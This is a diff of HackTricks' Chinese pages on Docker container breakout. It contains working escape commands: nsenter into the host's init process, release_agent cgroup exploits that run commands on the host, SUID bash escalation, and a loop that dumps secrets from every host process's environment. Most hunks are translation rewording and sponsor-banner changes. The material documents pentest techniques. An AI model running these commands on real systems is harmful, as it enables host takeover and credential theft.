||||
- `--userns=host`
|
||||
- `--uts=host`
|
||||
- `--cgroupns=host`
|
||||
- `挂载 /dev`
|
||||
## 从特权容器中逃脱
|
||||
|
||||
`--privileged` 标志显著降低了容器的安全性,提供了**无限制的设备访问**并绕过**多项保护措施**。有关详细信息,请参阅有关 `--privileged` 的完整影响的文档。
|
||||
可以使用标志`--privileged`或禁用特定防御措施来创建特权容器:
|
||||
|
||||
* `--cap-add=ALL`
|
||||
* `--security-opt apparmor=unconfined`
|
||||
* `--security-opt seccomp=unconfined`
|
||||
* `--security-opt label:disable`
|
||||
* `--pid=host`
|
||||
* `--userns=host`
|
||||
* `--uts=host`
|
||||
* `--cgroupns=host`
|
||||
* `Mount /dev`
|
||||
|
||||
`--privileged`标志显著降低容器安全性,提供**无限制的设备访问**并绕过**多项保护**。有关详细信息,请参阅有关`--privileged`完整影响的文档。
|
||||
|
||||
{% content-ref url="../docker-privileged.md" %}
|
||||
[docker-privileged.md](../docker-privileged.md)
|
||||
|
@ -100,7 +107,7 @@ capsh --print
|
|||
|
||||
### 特权 + hostPID
|
||||
|
||||
有了这些权限,您可以轻松地**切换到以 root 用户身份在主机上运行的进程的命名空间**,比如 init (pid:1),只需运行:`nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
|
||||
有了这些权限,您只需运行以下命令就可以**移动到以root身份在主机上运行的进程的命名空间**,比如init (pid:1): `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
|
||||
|
||||
在容器中执行以下测试:
|
||||
```bash
|
||||
|
@ -108,7 +115,7 @@ docker run --rm -it --pid=host --privileged ubuntu bash
|
|||
```
|
||||
### 特权
|
||||
|
||||
只需使用特权标志,您就可以尝试访问主机的磁盘,或者尝试滥用 release\_agent 或其他逃逸方法。
|
||||
仅使用特权标志,您就可以尝试访问主机的磁盘,或者尝试滥用 release\_agent 或其他逃逸方式。
|
||||
|
||||
在容器中执行以下绕过测试:
|
||||
```bash
|
||||
|
@ -116,7 +123,7 @@ docker run --rm -it --privileged ubuntu bash
|
|||
```
|
||||
#### 挂载磁盘 - Poc1
|
||||
|
||||
良好配置的 Docker 容器不会允许像 **fdisk -l** 这样的命令。然而,在错误配置的 Docker 命令中,如果指定了 `--privileged` 或 `--device=/dev/sda1` 以及权限,则有可能获取权限查看主机驱动器。
|
||||
良好配置的 Docker 容器不会允许像 **fdisk -l** 这样的命令。然而,在错误配置的 Docker 命令中,如果指定了 `--privileged` 或 `--device=/dev/sda1` 以及权限,则有可能获取权限以查看主机驱动器。
|
||||
|
||||
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
|
||||
|
||||
|
@ -184,9 +191,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
|
|||
# Reads the output
|
||||
cat /o
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### 利用创建的 release_agent 进行特权逃逸 ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
|
||||
#### 利用创建的 release_agent 特权逃逸([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/))- PoC2
|
||||
|
||||
{% code title="第二个 PoC" %}
|
||||
```bash
|
||||
|
@ -232,7 +237,7 @@ cat /output
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
在以下位置找到有关该技术的**解释**:
|
||||
在以下位置找到有关该技术的解释:
|
||||
|
||||
{% content-ref url="docker-release_agent-cgroups-escape.md" %}
|
||||
[docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md)
|
||||
|
@ -240,7 +245,7 @@ cat /output
|
|||
|
||||
#### 滥用 release\_agent 实现特权逃逸,无需知道相对路径 - PoC3
|
||||
|
||||
在先前的利用中,**容器在主机文件系统中的绝对路径被披露**。然而,并非总是如此。在你**不知道容器在主机中的绝对路径**的情况下,你可以使用这种技术:
|
||||
在先前的利用中,**容器在主机文件系统中的绝对路径被披露**。然而,并非总是如此。在你**不知道容器在主机中的绝对路径**的情况下,可以使用这种技术:
|
||||
|
||||
{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
|
||||
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
|
||||
|
@ -334,16 +339,16 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
|||
```
|
||||
#### 滥用敏感挂载进行特权逃逸
|
||||
|
||||
有几个文件可能被挂载,提供了有关**底层主机的信息**。其中一些甚至可能表明**主机在发生某些事件时要执行的操作**(这将允许攻击者从容器中逃逸)。\
|
||||
滥用这些文件可能会导致以下情况发生:
|
||||
有几个文件可能被挂载,提供了有关底层主机的信息。其中一些甚至可能表明主机在发生某些事件时要执行的内容(这将允许攻击者从容器中逃脱)。
|
||||
滥用这些文件可能会导致:
|
||||
|
||||
- release\_agent(之前已经涵盖过)
|
||||
- release\_agent(之前已经讨论过)
|
||||
- [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc)
|
||||
- [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern)
|
||||
- [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper)
|
||||
- [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
|
||||
|
||||
但是,您可以在此页面中找到**其他敏感文件**进行检查:
|
||||
但是,您可以在此页面中找到其他敏感文件进行检查:
|
||||
|
||||
{% content-ref url="sensitive-mounts.md" %}
|
||||
[sensitive-mounts.md](sensitive-mounts.md)
|
||||
|
@ -351,14 +356,14 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
|||
|
||||
### 任意挂载
|
||||
|
||||
在许多情况下,您会发现**容器从主机挂载了一些卷**。如果此卷配置不正确,您可能能够**访问/修改敏感数据**:读取机密信息,更改ssh authorized\_keys...
|
||||
在许多情况下,您会发现容器从主机挂载了一些卷。如果此卷配置不正确,您可能能够访问/修改敏感数据:读取机密信息,更改ssh authorized\_keys...
|
||||
```bash
|
||||
docker run --rm -it -v /:/host ubuntu bash
|
||||
```
|
||||
### 使用2个shell和主机挂载进行权限提升
|
||||
### 利用2个shell和主机挂载进行权限提升
|
||||
|
||||
如果你以**容器内的root身份**访问了一个从主机挂载的文件夹,并且以非特权用户的身份**逃逸到主机**并且对挂载的文件夹有读取权限。\
|
||||
你可以在**容器内的挂载文件夹**中创建一个**bash suid文件**,然后**从主机上执行**它来进行权限提升。
|
||||
如果你以**容器内的root身份**访问具有来自主机挂载的某个文件夹,并且已经**以非特权用户的身份逃逸到主机**并且对挂载的文件夹具有读取权限。\
|
||||
你可以在**容器内的挂载文件夹**中创建一个**bash suid文件**,并且**从主机上执行**它以进行权限提升。
|
||||
```bash
|
||||
cp /bin/bash . #From non priv inside mounted folder
|
||||
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
|
||||
|
@ -366,14 +371,14 @@ chown root:root bash #From container as root inside mounted folder
|
|||
chmod 4777 bash #From container as root inside mounted folder
|
||||
bash -p #From non priv inside mounted folder
|
||||
```
|
||||
### 通过2个shell进行特权提升
|
||||
### 使用2个shell进行特权提升
|
||||
|
||||
如果您在容器内部具有**root权限**,并且已经**以非特权用户的身份逃逸到主机**,则可以滥用这两个shell,以便在主机内部进行**特权提升**,前提是您在容器内部具有MKNOD功能(默认情况下是有的),如[**在这篇文章中解释的那样**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)。\
|
||||
如果您在容器内部具有**root访问权限**,并且已经**以非特权用户的身份逃逸到主机**,则可以滥用这两个shell,以便在主机内部进行**特权提升**,前提是您在容器内部具有MKNOD功能(默认情况下是有的),如[**在这篇文章中解释的那样**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)。\
|
||||
有了这样的功能,容器内的root用户被允许**创建块设备文件**。设备文件是用于**访问底层硬件和内核模块**的特殊文件。例如,/dev/sda块设备文件允许**读取系统磁盘上的原始数据**。
|
||||
|
||||
Docker通过强制执行阻止**块设备读/写操作**的cgroup策略来防止容器内部滥用块设备。然而,如果在容器内部**创建块设备**,则可以通过**/proc/PID/root/**目录从容器外部访问该块设备。此访问要求**进程所有者在容器内外相同**。
|
||||
Docker通过强制执行阻止**块设备读/写操作**的cgroup策略来防止容器内部滥用块设备。然而,如果在容器内部**创建块设备**,则可以通过**/proc/PID/root/**目录从容器外部访问该块设备。此访问要求**进程所有者在容器内外是相同的**。
|
||||
|
||||
来自这个[**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/)的**利用**示例:
|
||||
来自这个[**解说文章**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/)的**利用**示例:
|
||||
```bash
|
||||
# On the container as root
|
||||
cd /
|
||||
|
@ -417,7 +422,7 @@ docker run --rm -it --pid=host ubuntu bash
|
|||
```
|
||||
例如,您可以使用类似 `ps auxn` 的命令列出进程,并在命令中搜索敏感细节。
|
||||
|
||||
然后,由于您可以**访问主机中 /proc/ 中的每个进程,您可以运行以下命令窃取它们的环境机密**:
|
||||
然后,由于您可以**访问主机中每个进程的 /proc/,您可以运行以下命令窃取它们的环境变量秘密**:
|
||||
```bash
|
||||
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
|
||||
/proc/988058/environ
|
||||
|
@ -436,24 +441,24 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
|
|||
# You can open the secret filw with:
|
||||
cat /proc/635813/fd/4
|
||||
```
|
||||
您还可以**终止进程并导致拒绝服务**。
|
||||
你也可以**终止进程并造成拒绝服务**。
|
||||
|
||||
{% hint style="warning" %}
|
||||
如果您以某种方式拥有容器之外进程的特权**访问权限**,您可以运行类似 `nsenter --target <pid> --all` 或 `nsenter --target <pid> --mount --net --pid --cgroup` 来**以与该进程相同的 ns 限制**(希望没有)**运行一个 shell。**
|
||||
如果你以某种方式拥有容器之外进程的特权**访问权限**,你可以运行类似 `nsenter --target <pid> --all` 或 `nsenter --target <pid> --mount --net --pid --cgroup` 来**以与该进程相同的 ns 限制**(希望没有)**运行一个 shell。**
|
||||
{% endhint %}
|
||||
|
||||
### hostNetwork
|
||||
```
|
||||
docker run --rm -it --network=host ubuntu bash
|
||||
```
|
||||
如果一个容器配置了Docker [主机网络驱动器(`--network=host`)](https://docs.docker.com/network/host/),那么该容器的网络堆栈与Docker主机不是隔离的(容器共享主机的网络命名空间),并且容器不会被分配自己的IP地址。换句话说,**容器将所有服务直接绑定到主机的IP**。此外,容器可以**拦截主机发送和接收的所有网络流量**,使用共享接口 `tcpdump -i eth0`。
|
||||
如果一个容器配置了Docker [主机网络驱动器(`--network=host`)](https://docs.docker.com/network/host/),那么该容器的网络堆栈与Docker主机不是隔离的(容器与主机共享网络命名空间),并且容器不会被分配自己的IP地址。换句话说,**容器将所有服务直接绑定到主机的IP**。此外,容器可以**拦截主机发送和接收的所有网络流量**,使用共享接口 `tcpdump -i eth0`。
|
||||
|
||||
例如,您可以使用这个方法**嗅探甚至欺骗**主机和元数据实例之间的流量。
|
||||
|
||||
就像以下示例中所示:
|
||||
|
||||
* [Writeup: 如何联系 Google SRE: 在云 SQL 中放置一个 shell](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
* [元数据服务中间人攻击允许提权(EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
|
||||
* [元数据服务中间人攻击允许提升根权限 (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
|
||||
|
||||
您还可以访问主机内绑定到本地主机的**网络服务**,甚至访问**节点的元数据权限**(这可能与容器可以访问的权限不同)。
|
||||
|
||||
|
@ -461,10 +466,10 @@ docker run --rm -it --network=host ubuntu bash
|
|||
```bash
|
||||
docker run --rm -it --ipc=host ubuntu bash
|
||||
```
|
||||
使用 `hostIPC=true`,您可以访问主机的进程间通信(IPC)资源,例如在 `/dev/shm` 中的**共享内存**。这允许读取/写入同一 IPC 资源被其他主机或容器进程使用。使用 `ipcs` 进一步检查这些 IPC 机制。
|
||||
使用 `hostIPC=true`,您可以访问主机的进程间通信(IPC)资源,例如 `/dev/shm` 中的**共享内存**。这允许读取/写入同一 IPC 资源被其他主机或容器进程使用。使用 `ipcs` 进一步检查这些 IPC 机制。
|
||||
|
||||
* **检查 /dev/shm** - 查看此共享内存位置中的任何文件:`ls -la /dev/shm`
|
||||
* **检查现有的 IPC 设施** - 您可以使用 `/usr/bin/ipcs` 检查是否正在使用任何 IPC 设施。使用以下命令检查:`ipcs -a`
|
||||
* **检查现有 IPC 设施** - 您可以使用 `/usr/bin/ipcs` 检查是否正在使用任何 IPC 设施。使用以下命令检查:`ipcs -a`
|
||||
|
||||
### 恢复权限
|
||||
|
||||
|
@ -480,7 +485,7 @@ cat /proc/self/status | grep CapEff
|
|||
|
||||
<figure><img src="../../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
使用[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation)轻松构建和**自动化工作流程**,使用世界上**最先进**的社区工具。\
|
||||
使用[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation)轻松构建和**自动化工作流程**,使用世界上**最先进的**社区工具。\
|
||||
立即获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
|
||||
|
@ -489,10 +494,10 @@ cat /proc/self/status | grep CapEff
|
|||
|
||||
### Runc漏洞利用(CVE-2019-5736)
|
||||
|
||||
如果您可以以root身份执行`docker exec`(可能使用sudo),则可以尝试利用CVE-2019-5736(漏洞利用[在此处](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go))来提升特权,从容器中逃脱。这种技术基本上会**覆盖**主机中的**/bin/sh**二进制文件,因此任何执行docker exec的人都可能触发有效载荷。
|
||||
如果您可以以root身份执行`docker exec`(可能需要sudo),您可以尝试利用CVE-2019-5736(漏洞利用[在此处](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go))来提升权限并从容器中逃脱。这种技术基本上会**覆盖**来自**容器**的**主机**的 _**/bin/sh**_ 二进制文件,因此任何执行docker exec的人都可能触发有效载荷。
|
||||
|
||||
相应地更改有效载荷,并使用`go build main.go`构建main.go。生成的二进制文件应放置在docker容器中以供执行。\
|
||||
执行时,一旦显示`[+] Overwritten /bin/sh successfully`,您需要从主机上执行以下操作:
|
||||
相应地更改有效载荷并使用`go build main.go`构建main.go。生成的二进制文件应放置在docker容器中以供执行。\
|
||||
执行时,一旦显示 `[+] Overwritten /bin/sh successfully`,您需要从主机上执行以下操作:
|
||||
|
||||
`docker exec -it <container-name> /bin/sh`
|
||||
|
||||
|
@ -511,7 +516,7 @@ cat /proc/self/status | grep CapEff
|
|||
* **命名空间:** 该进程应通过命名空间**与其他进程完全隔离**,因此我们无法通过命名空间逃脱与其他进程的交互(默认情况下无法通过IPC、Unix套接字、网络服务、D-Bus、其他进程的`/proc`进行通信)。
|
||||
* **根用户:** 默认情况下,运行该进程的用户是根用户(但其权限受限)。
|
||||
* **权限:** Docker保留以下权限:`cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
|
||||
* **系统调用:** 这些是**根用户无法调用的系统调用**(由于缺乏权限+Seccomp)。其他系统调用可用于尝试逃脱。
|
||||
* **系统调用:** 这些是**根用户无法调用的系统调用**(由于缺乏权限+Seccomp)。其他系统调用可用于尝试逃逸。
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="x64系统调用" %}
|
||||
|
@ -537,7 +542,7 @@ cat /proc/self/status | grep CapEff
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="arm64系统调用" %}
|
||||
{% tab title="arm64 系统调用" %}
|
||||
```
|
||||
0x029 -- pivot_root
|
||||
0x059 -- acct
|
||||
|
@ -557,31 +562,7 @@ cat /proc/self/status | grep CapEff
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="syscall_bf.c" %}
|
||||
|
||||
## Docker Breakout Privilege Escalation
|
||||
|
||||
### Description
|
||||
|
||||
This technique leverages the `CAP_SYS_ADMIN` capability to perform a Docker breakout and escalate privileges on the host system.
|
||||
|
||||
### Usage
|
||||
|
||||
Compile the `syscall_bf.c` code and run the executable to gain root privileges on the host system.
|
||||
|
||||
### Detection
|
||||
|
||||
Monitor for any unauthorized compilation and execution of unknown C code, as well as unexpected processes running with escalated privileges.
|
||||
|
||||
### Prevention
|
||||
|
||||
Avoid granting unnecessary capabilities to Docker containers and regularly monitor for suspicious activities on the host system.
|
||||
|
||||
### References
|
||||
|
||||
- [https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout](https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout)
|
||||
|
||||
{% endtab %}
|
||||
{% tab title="syscall_bf.c" %}这是一个使用系统调用进行特权提升的示例程序。它通过在Docker容器中执行恶意代码来实现特权提升。{% endtab %}
|
||||
````c
|
||||
// From a conversation I had with @arget131
|
||||
// Fir bfing syscalss in x64
|
||||
|
@ -652,16 +633,17 @@ Get Access Today:
|
|||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Docker release_agent cgroups escape
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github仓库提交PR来分享黑客技巧。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
|
@ -20,7 +21,7 @@
|
|||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
|
||||
|
||||
WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。
|
||||
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
|
@ -38,13 +39,11 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
|||
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
|
||||
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
|
||||
```
|
||||
### Docker逃逸特权升级:release_agent-cgroups逃逸
|
||||
|
||||
这个概念验证(PoC)演示了一种利用cgroups的方法,通过创建一个`release_agent`文件并触发其调用,在容器主机上执行任意命令。以下是涉及的步骤详细说明:
|
||||
### 概念验证(PoC)演示了一种利用 cgroups 的方法,通过创建 `release_agent` 文件并触发其调用,在容器主机上执行任意命令。以下是涉及的步骤详细说明:
|
||||
|
||||
1. **准备环境:**
|
||||
* 创建一个目录`/tmp/cgrp`,用作cgroup的挂载点。
|
||||
* 将RDMA cgroup控制器挂载到此目录。如果缺少RDMA控制器,建议使用`memory` cgroup控制器作为替代方案。
|
||||
* 创建一个目录 `/tmp/cgrp` 作为 cgroup 的挂载点。
|
||||
* 将 RDMA cgroup 控制器挂载到此目录。如果缺少 RDMA 控制器,建议使用 `memory` cgroup 控制器作为替代方案。
|
||||
```shell
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
```
|
||||
|
@ -80,22 +79,23 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
|||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。
|
||||
WhiteIntel 的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们**。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,26 +1,27 @@
|
|||
# 敏感挂载点
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
